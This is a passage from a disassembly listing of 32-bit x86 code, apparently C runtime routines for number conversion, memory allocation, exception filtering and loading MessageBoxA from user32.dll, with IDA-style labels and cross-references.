		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1EB093E8h], dl
		add	ah, byte ptr dword_4DBFE8[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFE835h, 81E89000h, 0C3021EB0h

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2600B37h
		nop
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 2600A9Ch
		nop
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 2680972h
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

